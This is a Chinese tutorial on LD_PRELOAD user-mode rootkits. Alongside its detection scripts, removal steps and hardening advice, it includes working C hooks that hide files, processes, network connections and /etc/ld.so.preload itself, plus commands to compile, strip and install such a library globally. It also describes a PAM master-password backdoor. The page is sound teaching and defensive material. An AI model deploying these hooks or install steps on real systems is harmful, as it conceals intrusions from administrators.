LD_PRELOAD 共享库劫持 — 用户态 Rootkit 核心技术 LD_PRELOAD 是 Linux 动态链接器提供的一项功能,允许在程序加载时 优先 加载指定的共享库
攻击者利用此机制替换(Hook)libc 标准函数,实现进程隐藏、文件隐藏、网络连接隐藏、后门认证等
这是 用户态 Rootkit 最核心、最常见 的技术,几乎所有用户态 Rootkit 框架(如 Jynx2、Azazel、vlany)都基于此
相关页面:21-Rootkit检测 、05-进程与网络分析
一、动态链接器原理 1.1 Linux 程序加载流程 一个 ELF 可执行文件从执行到进入 main() 函数,经历以下流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 用户执行命令 (例如 ls) │ ▼ execve () 系统调用 │ ▼ 内核加载 ELF 二进制文件 │ ▼ 内核发现 PT_INTERP 段,指向动态链接器 │ ▼ 加载动态链接器 ld-linux-x86-64 .so .2 │ ▼ 动态链接器按以下顺序加载共享库: 1 . LD_PRELOAD 环境变量指定的库 ← 【劫持点】 2 . /etc/ld.so .preload 文件中指定的库 ← 【劫持点】 3 . DT_NEEDED 段指定的库(ELF 依赖) 4 . /etc/ld.so .cache 缓存的库路径 5 . 默认路径 /lib, /usr/lib 等 │ ▼ 符号解析与重定位 │ ▼ 调用 __libc_start_main → main ()
关键点:LD_PRELOAD 加载的库中的符号会覆盖后续库中的同名符号
这意味着如果 LD_PRELOAD 的 .so 中定义了 readdir(),那么所有程序调用 readdir() 时都会执行攻击者的版本
1.2 LD_PRELOAD 的两种注入方式
方式
作用范围
持久性
文件/变量
环境变量 LD_PRELOAD
当前 shell 及其子进程
非持久(重启失效)
export LD_PRELOAD=/path/evil.so
全局配置 /etc/ld.so.preload
所有动态链接程序
持久
写入 .so 路径到该文件
/etc/ld.so.preload 比环境变量更危险:
影响系统上所有动态链接的程序
包括 root 执行的程序
不需要修改任何用户的环境变量
对 env 命令不可见(环境变量方式可以被 env 看到)
注意 :SUID 程序在较新的 glibc 版本中会忽略 LD_PRELOAD 环境变量(安全机制),但 /etc/ld.so.preload 仍然生效
1.3 动态链接器符号解析顺序 符号(函数名)查找顺序:
LD_PRELOAD 加载的库
/etc/ld.so.preload 加载的库
程序自身定义的符号
DT_NEEDED 指定的库(按链接顺序)
使用 dlsym(RTLD_NEXT, "readdir") 可以获取下一个同名符号的地址
这是 Hook 的关键:攻击者的函数先执行,然后可以选择是否调用原始函数
二、攻击原理与技术细节 2.1 Hook 的核心思想 攻击者编写一个共享库(.so),其中定义与 libc 同名的函数
在自定义函数中:
使用 dlsym(RTLD_NEXT, "原函数名") 获取原始函数地址
调用原始函数获取真实结果
篡改结果后返回给调用者
核心头文件:
1 2 3 4 5 #define _GNU_SOURCE #include <dlfcn.h> #include <dirent.h> #include <stdio.h> #include <string.h>
2.2 隐藏文件 — Hook readdir() ls、find 等命令底层都调用 readdir() 遍历目录
Hook readdir() 后,当遇到需要隐藏的文件名时跳过该条目
效果:ls 看不到目标文件,但 cat 直接读取文件仍然可以(因为 cat 不调用 readdir)
隐藏的文件列表通常通过以下方式定义:
硬编码在 .so 中(如以特定前缀开头的文件)
读取一个配置文件
通过环境变量指定
2.3 隐藏进程 — Hook readdir() on /proc/ Linux 中 /proc/ 目录下每个数字子目录对应一个进程 PID
ps 命令底层遍历 /proc/ 来获取进程列表
Hook readdir() 时,检查当前遍历的是否是 /proc/ 目录
如果是,跳过指定 PID 对应的目录名
同时需要 Hook readdir64() 以兼容 64 位系统
2.4 隐藏网络连接 — Hook fopen() / read() netstat、ss 等命令读取 /proc/net/tcp、/proc/net/tcp6 等文件
方法一:Hook fopen(),当打开这些文件时返回一个过滤后的临时文件
方法二:Hook read(),在读取内容后过滤掉包含目标端口/IP 的行
需要隐藏的典型内容:
特定端口号(如 C2 回连端口)
特定 IP 地址(如 C2 服务器地址)
2.5 后门认证 — Hook pam_authenticate() / crypt() Hook pam_authenticate() 函数,当密码匹配预设的”万能密码”时直接返回成功
或者 Hook crypt() 函数,在密码哈希比对前插入判断逻辑
这样攻击者可以使用万能密码登录系统上的 任何账户
更高级的做法是同时记录其他用户的真实密码到隐藏文件
相关内容详见 20-PAM后门
2.6 隐藏 ld.so.preload 自身 最巧妙的技巧:让被注入的 .so 把 /etc/ld.so.preload 自身也隐藏掉
Hook fopen() / open():当尝试读取 /etc/ld.so.preload 时返回空内容
Hook access() / stat():让文件看起来不存在
这样 cat /etc/ld.so.preload 返回空或 “No such file”
但 实际文件仍然存在且生效
三、示例代码(简化版) 3.1 Hook readdir() 隐藏文件 以下代码隐藏所有以 evil_ 前缀开头的文件和指定 PID 的进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dlfcn.h> #include <dirent.h> #include <unistd.h> #include <sys/types.h> #define HIDDEN_PREFIX "evil_" #define HIDDEN_PID "31337" static const char *hidden_files[] = { "evil_backdoor" , "evil_config" , ".evil_log" , "ld.so.preload" , NULL }; static int should_hide (const char *name) { if (strncmp (name, HIDDEN_PREFIX, strlen (HIDDEN_PREFIX)) == 0 ) return 1 ; for (int i = 0 ; hidden_files[i] != NULL ; i++) { if (strcmp (name, hidden_files[i]) == 0 ) return 1 ; } return 0 ; } static int is_proc_dir (DIR *dirp) { int fd = dirfd(dirp); char path[256 ]; char link[256 ]; snprintf (path, sizeof (path), "/proc/self/fd/%d" , fd); ssize_t len = readlink(path, link, sizeof (link) - 1 ); if (len > 0 ) { link[len] = '\0' ; if (strcmp (link, "/proc" ) == 0 ) return 1 ; } return 0 ; } struct dirent *readdir (DIR *dirp) { static struct dirent *(*orig_readdir )(DIR *) = NULL ; if (!orig_readdir) orig_readdir = dlsym(RTLD_NEXT, "readdir" ); struct dirent *entry ; while ((entry = orig_readdir(dirp)) != NULL ) { if (is_proc_dir(dirp) && strcmp (entry->d_name, HIDDEN_PID) == 0 ) continue ; if (should_hide(entry->d_name)) continue ; break ; } return entry; } struct dirent64 *readdir64 (DIR *dirp) { static struct dirent64 *(*orig_readdir64 )(DIR *) = NULL ; if (!orig_readdir64) orig_readdir64 = dlsym(RTLD_NEXT, "readdir64" ); struct dirent64 *entry ; while ((entry = orig_readdir64(dirp)) != NULL ) { if (is_proc_dir(dirp) && strcmp (entry->d_name, HIDDEN_PID) == 0 ) continue ; if (should_hide(entry->d_name)) continue ; break ; } return entry; }
代码解析:
dlsym(RTLD_NEXT, "readdir"):获取链接顺序中下一个 readdir 的地址(即原始 libc 版本)
while 循环:不断调用原始 readdir,跳过需要隐藏的条目
is_proc_dir():通过 /proc/self/fd/ 判断当前遍历的是否是 /proc 目录
同时 Hook readdir 和 readdir64 确保兼容性
3.2 Hook fopen() 隐藏 ld.so.preload 内容 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <dlfcn.h> FILE *fopen (const char *pathname, const char *mode) { static FILE *(*orig_fopen)(const char *, const char *) = NULL ; if (!orig_fopen) orig_fopen = dlsym(RTLD_NEXT, "fopen" ); if (strcmp (pathname, "/etc/ld.so.preload" ) == 0 ) { return orig_fopen("/dev/null" , mode); } return orig_fopen(pathname, mode); } FILE *fopen64 (const char *pathname, const char *mode) { static FILE *(*orig_fopen64)(const char *, const char *) = NULL ; if (!orig_fopen64) orig_fopen64 = dlsym(RTLD_NEXT, "fopen64" ); if (strcmp (pathname, "/etc/ld.so.preload" ) == 0 ) { return orig_fopen64("/dev/null" , mode); } return orig_fopen64(pathname, mode); }
效果:cat /etc/ld.so.preload 显示为空,因为实际读取的是 /dev/null
但文件依然存在且动态链接器仍然使用它加载恶意 .so
3.3 Hook 隐藏网络连接示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dlfcn.h> #include <unistd.h> #define HIDDEN_PORT_HEX "1F90" FILE *fopen (const char *pathname, const char *mode) { static FILE *(*orig_fopen)(const char *, const char *) = NULL ; if (!orig_fopen) orig_fopen = dlsym(RTLD_NEXT, "fopen" ); if (strstr (pathname, "/proc/net/tcp" ) != NULL || strstr (pathname, "/proc/net/tcp6" ) != NULL ) { FILE *orig = orig_fopen(pathname, mode); if (!orig) return NULL ; char tmppath[] = "/tmp/.net_XXXXXX" ; int tmpfd = mkstemp(tmppath); FILE *tmpfile = fdopen(tmpfd, "w" ); char line[512 ]; while (fgets(line, sizeof (line), orig)) { if (strstr (line, HIDDEN_PORT_HEX) != NULL ) continue ; fputs (line, tmpfile); } fclose(orig); fclose(tmpfile); FILE *result = orig_fopen(tmppath, mode); unlink(tmppath); return result; } return orig_fopen(pathname, mode); }
注意:实战中的 Rootkit 代码比上述示例更复杂,会处理更多边界情况
3.4 编译命令 1 2 3 4 5 6 7 8 9 10 11 12 gcc -shared -fPIC -o evil.so evil_hide.c -ldl LD_PRELOAD=./evil.so ls echo "/path/to/evil.so" > /etc/ld.so.preloadgcc -shared -fPIC -o evil.so evil_hide.c -ldl -s strip evil.so
-shared:生成共享库
-fPIC:生成位置无关代码(Position Independent Code)
-ldl:链接 libdl(提供 dlsym 函数)
-s / strip:去除符号表,增加逆向分析难度
四、真实 Rootkit 案例 4.1 常见的 LD_PRELOAD Rootkit 框架
Rootkit 名称
特点
Hook 的函数
Jynx2
经典用户态 Rootkit
readdir, fopen, accept, access 等
Azazel
Jynx2 的改进版
增加 pcap Hook、加密通信
vlany
功能全面
60+ 个 Hook 函数,anti-debug
Bdvl
现代化设计
PAM Hook、网络隐藏、anti-ptrace
cub3
轻量级
文件/进程隐藏、反向 shell
4.2 实战中常见的 .so 文件位置 1 2 3 4 5 6 /lib/x86_64-linux-gnu/.libs/libselinux.so /usr/lib/.hidden/evil.so /dev/shm/.evil.so /tmp/.ICE-unix/.evil.so /var/tmp/.cache/libutil.so
文件名通常伪装成系统库名称:libselinux.so、libcrypt.so、libutil.so 等
五、检测方法(重点) 5.1 直接检查 /etc/ld.so.preload 1 2 3 4 5 6 7 8 9 cat /etc/ld.so.preloadls -la /etc/ld.so.preloadfile /etc/ld.so.preload stat /etc/ld.so.preload
注意 :如果系统已被 LD_PRELOAD Rootkit 感染,上述命令可能返回假结果!
因为 cat 调用 fopen() 读取文件 → 被 Hook → 返回空内容
因为 ls 调用 readdir() 遍历目录 → 被 Hook → 不显示 ld.so.preload
必须使用以下绕过方法
5.2 绕过 Hook 的检测方法 方法一:使用 busybox(静态编译) 1 2 3 4 5 6 7 8 9 10 busybox cat /etc/ld.so.preload busybox ls -la /etc/ld.so.preload busybox ls /proc/ scp clean_host:/usr/bin/busybox /tmp/busybox_clean chmod +x /tmp/busybox_clean/tmp/busybox_clean cat /etc/ld.so.preload
方法二:使用 Python 直接读取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 python3 -c " try: with open('/etc/ld.so.preload', 'r') as f: content = f.read() if content.strip(): print('[!] /etc/ld.so.preload 内容:') print(content) else: print('[+] /etc/ld.so.preload 为空') except FileNotFoundError: print('[+] /etc/ld.so.preload 不存在') "
注意 :Python 在某些实现中仍然可能调用 libc 的 fopen。最可靠的方式是使用 os.open() + os.read() 直接使用系统调用:
1 2 3 4 5 6 7 8 9 10 11 python3 -c " import os try: fd = os.open('/etc/ld.so.preload', os.O_RDONLY) content = os.read(fd, 4096) os.close(fd) print('[!] /etc/ld.so.preload 内容:') print(content.decode()) except FileNotFoundError: print('[+] /etc/ld.so.preload 不存在') "
方法三:使用 strace 观察系统调用 1 2 3 4 5 6 7 8 9 strace cat /etc/ld.so.preload 2>&1 | grep -E "open|read" strace -e trace=openat,read -s 1024 cat /etc/ld.so.preload 2>&1
方法四:直接使用系统调用(汇编/C) 1 2 3 4 5 6 7 8 perl -e ' use POSIX; sysopen(my $fh, "/etc/ld.so.preload", O_RDONLY) or die "Not found"; sysread($fh, my $buf, 4096); print $buf; close($fh); '
5.3 检查进程环境变量中的 LD_PRELOAD 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 for pid in /proc/[0-9]*/; do pid_num=$(basename "$pid " ) env_file="$pid /environ" if [ -r "$env_file " ]; then if tr '\0' '\n' < "$env_file " | grep -q "LD_PRELOAD" ; then cmd=$(cat "$pid /cmdline" | tr '\0' ' ' ) echo "[!] PID $pid_num (${cmd} ): $(tr '\0' '\n' < "$env_file " | grep LD_PRELOAD) " fi fi done grep -r "LD_PRELOAD" /proc/*/environ 2>/dev/null grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \ /etc/bash.bashrc /etc/ld.so.preload 2>/dev/null
5.4 检查进程内存映射中的异常 .so 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cat /proc/<PID>/maps | grep "\.so" for pid in /proc/[0-9]*/; do pid_num=$(basename "$pid " ) maps="$pid /maps" if [ -r "$maps " ]; then suspicious=$(grep "\.so" "$maps " | grep -Ev "/lib/|/usr/lib/|/lib64/" | head -5) if [ -n "$suspicious " ]; then cmd=$(cat "$pid /cmdline" 2>/dev/null | tr '\0' ' ' ) echo "[!] PID $pid_num ($cmd ):" echo "$suspicious " echo "---" fi fi done
重点关注以下路径中的 .so:
/tmp/、/dev/shm/、/var/tmp/ — 临时目录
/home/ — 用户主目录
以 . 开头的隐藏目录
名称与系统库相似但路径不对的文件
5.5 使用 ldd 检查二进制文件依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ldd /usr/bin/ls for cmd in ls ps netstat ss cat find; do path=$(which $cmd 2>/dev/null) if [ -n "$path " ]; then echo "=== $path ===" ldd "$path " | grep -Ev "linux-vdso|ld-linux|libc\.so|libdl|libpthread|libselinux|librt|libm\.so|libpcre" fi done
警告 :ldd 实际上会执行目标程序的链接器,在不可信二进制文件上使用 ldd 可能有安全风险,可以改用 objdump -p <binary> | grep NEEDED
5.6 对比检测隐藏进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 python3 -c " import os # 方法1:通过 os.listdir(可能也被 Hook) proc_pids_listdir = set() for entry in os.listdir('/proc'): if entry.isdigit(): proc_pids_listdir.add(int(entry)) # 方法2:暴力遍历 PID 范围 proc_pids_bruteforce = set() for pid in range(1, 65536): if os.path.exists(f'/proc/{pid}'): proc_pids_bruteforce.add(pid) # 对比两种方法 hidden = proc_pids_bruteforce - proc_pids_listdir if hidden: print(f'[!] 发现隐藏进程 PID: {hidden}') for pid in hidden: try: with open(f'/proc/{pid}/cmdline', 'rb') as f: cmdline = f.read().replace(b'\x00', b' ').decode() print(f' PID {pid}: {cmdline}') except: print(f' PID {pid}: 无法读取 cmdline') else: print('[+] 未发现隐藏进程') "
该方法的原理:readdir Hook 只在遍历目录时过滤条目,但直接 access("/proc/PID") 或 stat("/proc/PID") 通常不会被 Hook(除非攻击者也 Hook 了 access 和 stat)
5.7 综合检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #!/bin/bash echo "========== LD_PRELOAD 劫持检测 ==========" echo "[*] 检查时间: $(date) " echo "" echo "[1] 检查 /etc/ld.so.preload" echo "--- 直接 cat(可能被 Hook)---" cat /etc/ld.so.preload 2>/dev/null || echo "文件不存在" echo "--- Python 读取(绕过 fopen Hook)---" python3 -c " import os try: fd = os.open('/etc/ld.so.preload', os.O_RDONLY) print(os.read(fd, 4096).decode()) os.close(fd) except: print('文件不存在') " echo "" echo "[2] 检查 LD_PRELOAD 环境变量" grep -r "LD_PRELOAD" /proc/*/environ 2>/dev/null | head -20 grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \ /etc/bash.bashrc 2>/dev/null echo "" echo "[3] 检查异常共享库加载" for pid in $(ls /proc/ | grep -E '^[0-9]+$' | head -100); do maps="/proc/$pid /maps" [ -r "$maps " ] && grep "\.so" "$maps " | \ grep -Ev "/lib/|/usr/lib|/lib64|/usr/local/lib|anon" | head -3 done | sort -uecho "" echo "[4] 检查可疑路径中的 .so 文件" find /tmp /dev/shm /var/tmp /run -name "*.so" -o -name "*.so.*" 2>/dev/null echo "" echo "========== 检测完成 =========="
六、清除方法 6.1 清除步骤 ⚠️ 清除 LD_PRELOAD Rootkit 需要非常谨慎,操作不当可能导致系统不可用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 busybox cat /etc/ld.so.preload busybox cp /lib/x86_64-linux-gnu/.libs/libselinux.so /tmp/malware_sample.so busybox cp /etc/ld.so.preload /tmp/ld.so.preload.bak busybox sh -c '> /etc/ld.so.preload' busybox rm /etc/ld.so.preload python3 -c " import os fd = os.open('/etc/ld.so.preload', os.O_WRONLY | os.O_TRUNC) os.close(fd) print('已清空 /etc/ld.so.preload') " busybox rm /lib/x86_64-linux-gnu/.libs/libselinux.so grep "libselinux" /proc/*/maps 2>/dev/null grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \ /etc/bash.bashrc ~/.bashrc ~/.profile 2>/dev/null
6.2 清除后验证 1 2 3 4 5 6 7 8 9 10 11 12 13 14 cat /etc/ld.so.preload ldd /usr/bin/ls ps aux | wc -l ls /proc/ | grep -c "^[0-9]" ss -tlnp
6.3 加固建议 1 2 3 4 5 6 7 8 9 10 auditctl -w /etc/ld.so.preload -p wa -k ld_preload_monitor touch /etc/ld.so.preloadchattr +i /etc/ld.so.preload
七、知识要点总结
方面
内容
注入方式
LD_PRELOAD 环境变量、/etc/ld.so.preload 全局配置
核心原理
动态链接器优先加载指定 .so,覆盖 libc 同名函数
常见 Hook
readdir(隐藏文件/进程)、fopen(隐藏网络/文件内容)、pam_authenticate(后门)
检测要点
使用静态编译工具(busybox)、Python os.open()、strace 绕过 Hook
清除要点
清空 /etc/ld.so.preload、删除恶意 .so、重启受影响进程
核心理念 :LD_PRELOAD Hook 只影响动态链接的程序,使用静态编译的工具或直接系统调用可以绕过
八、配套实验 实验目录:labs/14-persistence-ldpreload/
实验内容:
实验 14.1:编译并测试 LD_PRELOAD 隐藏文件
实验 14.2:使用 /etc/ld.so.preload 进行全局注入
实验 14.3:使用多种方法检测 LD_PRELOAD 劫持
实验 14.4:完整清除流程演练
⚠️ 所有实验必须在隔离的虚拟机环境中进行